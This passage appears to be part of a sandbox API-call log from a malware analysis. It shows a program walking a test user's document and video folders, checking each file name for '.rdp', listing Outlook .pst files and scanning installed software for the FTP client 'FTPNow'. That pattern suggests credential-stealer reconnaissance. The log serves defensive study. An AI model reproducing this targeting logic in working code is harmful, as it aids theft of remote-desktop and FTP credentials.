FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.614] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.614] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.614] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.614] StrStrIA (lpFirst="0c b0c.flv", lpSrch=".rdp") returned 0x0 [0079.614] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.614] StrStrIA (lpFirst="4JGxcbToleNrLGKM0x.mp4", lpSrch=".rdp") returned 0x0 [0079.614] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.614] StrStrIA (lpFirst="4l 0V3SvQ2xJtB0q9n.mp4", lpSrch=".rdp") returned 0x0 [0079.614] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.614] StrStrIA (lpFirst="Au1G2cMi4lUeuMzX.mp4", lpSrch=".rdp") returned 0x0 [0079.614] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.614] StrStrIA (lpFirst="A_QH6K.mp4", lpSrch=".rdp") returned 0x0 [0079.614] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.614] StrStrIA (lpFirst="BHURVU6al7n.flv", lpSrch=".rdp") returned 0x0 [0079.614] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.614] StrStrIA (lpFirst="d1HUw8KOaHIWVLoB.swf", lpSrch=".rdp") returned 0x0 [0079.614] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.614] lstrcmpiA (lpString1=".", lpString2="GnEsVEH-") returned -1 [0079.614] lstrcmpiA (lpString1="..", lpString2="GnEsVEH-") returned -1 [0079.614] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U") returned 55 [0079.614] lstrlenA (lpString="\\") returned 1 [0079.614] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U" [0079.614] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\" [0079.614] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\") returned 56 [0079.614] lstrlenA (lpString="GnEsVEH-") returned 8 [0079.614] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\" [0079.614] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\", lpString2="GnEsVEH-" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-" [0079.614] LocalFree (hMem=0x66b738) returned 0x0 [0079.614] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-") returned 64 [0079.614] lstrlenA (lpString="\\*.*") returned 4 [0079.615] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-" [0079.615] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-\\*.*" [0079.615] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\GnEsVEH-\\*.*", lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0x642828 [0079.615] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.615] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.615] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.615] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.615] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.615] StrStrIA (lpFirst="3kL9.swf", lpSrch=".rdp") returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.615] StrStrIA (lpFirst="bDQyCatKdcPor0cnM4U4.mkv", lpSrch=".rdp") returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.615] StrStrIA (lpFirst="gf5ukHGRbzF.swf", lpSrch=".rdp") returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.615] StrStrIA (lpFirst="J4s6KrYvcta5.avi", lpSrch=".rdp") returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.615] StrStrIA (lpFirst="raSBtLAuTqgfp_jW4.avi", lpSrch=".rdp") returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.615] StrStrIA (lpFirst="RrgnXUltqQac.mkv", lpSrch=".rdp") returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.615] StrStrIA (lpFirst="TlHiPBFi5TbSXZCO.mkv", lpSrch=".rdp") returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0 [0079.615] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.615] LocalFree (hMem=0x66b738) returned 0x0 [0079.615] LocalFree (hMem=0x650450) returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.615] StrStrIA (lpFirst="H_tBFHJfOVlVld.avi", lpSrch=".rdp") returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.615] StrStrIA (lpFirst="NBasUIk3ttM0gaF.mp4", lpSrch=".rdp") returned 0x0 [0079.615] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.615] StrStrIA (lpFirst="nF02MxQHru2wc.mp4", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.616] StrStrIA (lpFirst="v-E-4OqZV NhuBotm.flv", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0 [0079.616] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.616] LocalFree (hMem=0x655028) returned 0x0 [0079.616] LocalFree (hMem=0x643aa8) returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.616] StrStrIA (lpFirst="ipgXZ.mp4", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.616] StrStrIA (lpFirst="jhpevmjm86906Wd_0n.swf", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.616] StrStrIA (lpFirst="NC9ioe94AQi-9.swf", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.616] StrStrIA (lpFirst="nrLW-p1UlLIl.mp4", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.616] StrStrIA (lpFirst="QBCo.avi", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.616] StrStrIA (lpFirst="rMLDmJvk ZEz4Czr.mp4", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.616] StrStrIA (lpFirst="zFeQUvtKN1s1TvOU.avi", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0 [0079.616] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0079.616] LocalFree (hMem=0x647ab8) returned 0x0 [0079.616] LocalFree (hMem=0x629248) returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.616] StrStrIA (lpFirst="OGdWFyfOQs0CytJiVsu.pptx", lpSrch=".rdp") returned 0x0 [0079.616] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.616] lstrcmpiA (lpString1=".", lpString2="Outlook Files") returned -1 [0079.616] lstrcmpiA (lpString1="..", lpString2="Outlook Files") returned -1 [0079.616] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents") returned 26 [0079.616] lstrlenA (lpString="\\") returned 1 [0079.616] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\Users\\EEBsYm5\\Documents" | out: lpString1="C:\\Users\\EEBsYm5\\Documents") returned="C:\\Users\\EEBsYm5\\Documents" [0079.616] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.616] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\") returned 27 [0079.616] lstrlenA (lpString="Outlook Files") returned 13 [0079.617] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\Documents\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.617] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\Outlook Files") returned="C:\\Users\\EEBsYm5\\Documents\\Outlook Files" [0079.617] LocalFree (hMem=0x652b60) returned 0x0 [0079.617] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\Outlook Files") returned 40 [0079.617] lstrlenA (lpString="\\*.*") returned 4 [0079.617] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\Outlook Files") returned="C:\\Users\\EEBsYm5\\Documents\\Outlook Files" [0079.617] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\Outlook Files", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\Outlook Files\\*.*" [0079.617] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\Outlook Files\\*.*", lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0x6427a8 [0079.633] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.633] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.634] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.634] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.634] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.634] StrStrIA (lpFirst="feasf@efw.com.pst", lpSrch=".rdp") returned 0x0 [0079.634] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.634] StrStrIA (lpFirst="Outlook Data File - mail.pst", lpSrch=".rdp") returned 0x0 [0079.634] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0 [0079.634] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0079.635] LocalFree (hMem=0x647b70) returned 0x0 [0079.635] LocalFree (hMem=0x647ab8) returned 0x0 [0079.635] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.635] StrStrIA (lpFirst="PBkj.csv", lpSrch=".rdp") returned 0x0 [0079.635] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.635] StrStrIA (lpFirst="pq__H7umpvaa7xU1OM.odt", lpSrch=".rdp") returned 0x0 [0079.635] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.635] StrStrIA (lpFirst="QhAh_70FW.xlsx", lpSrch=".rdp") returned 0x0 [0079.635] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.635] lstrcmpiA (lpString1=".", lpString2="RNXXLSlo") returned -1 [0079.635] lstrcmpiA (lpString1="..", lpString2="RNXXLSlo") returned -1 [0079.635] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents") returned 26 [0079.635] lstrlenA (lpString="\\") returned 1 [0079.635] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\Users\\EEBsYm5\\Documents" | out: lpString1="C:\\Users\\EEBsYm5\\Documents") returned="C:\\Users\\EEBsYm5\\Documents" [0079.635] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.635] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\") returned 27 [0079.635] lstrlenA (lpString="RNXXLSlo") returned 8 [0079.635] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\Documents\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.635] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\", lpString2="RNXXLSlo" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo") returned="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo" [0079.635] LocalFree (hMem=0x652b60) returned 0x0 [0079.635] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo") returned 35 [0079.635] lstrlenA (lpString="\\*.*") returned 4 [0079.635] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo") returned="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo" [0079.635] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo\\*.*" [0079.635] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\RNXXLSlo\\*.*", lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0x6427a8 [0079.636] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.636] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.637] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="9vSi.csv", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="DHIwrBqSWWQg.xls", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="iMNo_O7NY6GO9.pdf", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="Lox-Ab7EI0p597qFFy8N.xls", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="oN5d0P.doc", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="rj5cNBCh.pptx", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="uToFKz.pps", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="V8-R213R.odt", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="xhtUDha-iT7dQ.xlsx", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.637] StrStrIA (lpFirst="XIWRBwXSreOb6ty.ods", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0 [0079.637] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0079.637] LocalFree (hMem=0x6293a8) returned 0x0 [0079.637] LocalFree (hMem=0x629248) returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.637] StrStrIA (lpFirst="s512zJYfMujQOxscA-Rl.docx", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.637] StrStrIA (lpFirst="Vjoto7ac8Ml7Qqu.rtf", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.637] StrStrIA (lpFirst="WrwJ1NpK2.xlsx", lpSrch=".rdp") returned 0x0 [0079.637] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.637] StrStrIA (lpFirst="wUqY eKsN.xlsx", lpSrch=".rdp") returned 0x0 [0079.638] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.638] StrStrIA (lpFirst="yrfvTv5rTo9dR80.docx", lpSrch=".rdp") returned 0x0 [0079.638] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 0 [0079.638] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0079.638] LocalFree (hMem=0x652d58) returned 0x0 [0079.638] LocalFree (hMem=0x66b940) returned 0x0 [0079.638] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.638] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.638] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.638] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.638] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.638] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.638] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.638] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.638] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x8) returned 0x0 [0079.638] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.638] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x46, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.638] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x0, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.638] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PRJPROR /dll OSETUP.DLL", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PRJPROR /dll OSETUP.DLL", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PROPLUSR /dll OSETUP.DLL", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PROPLUSR /dll OSETUP.DLL", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall VISIOR /dll OSETUP.DLL", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall VISIOR /dll OSETUP.DLL", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpSrch="FTP Now") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="FTPNow") returned 0x0 [0079.639] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="FTPNow") returned 0x0 [0079.640] StrStrIA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="FTP Now") returned 0x0 [0079.640] StrStrIA 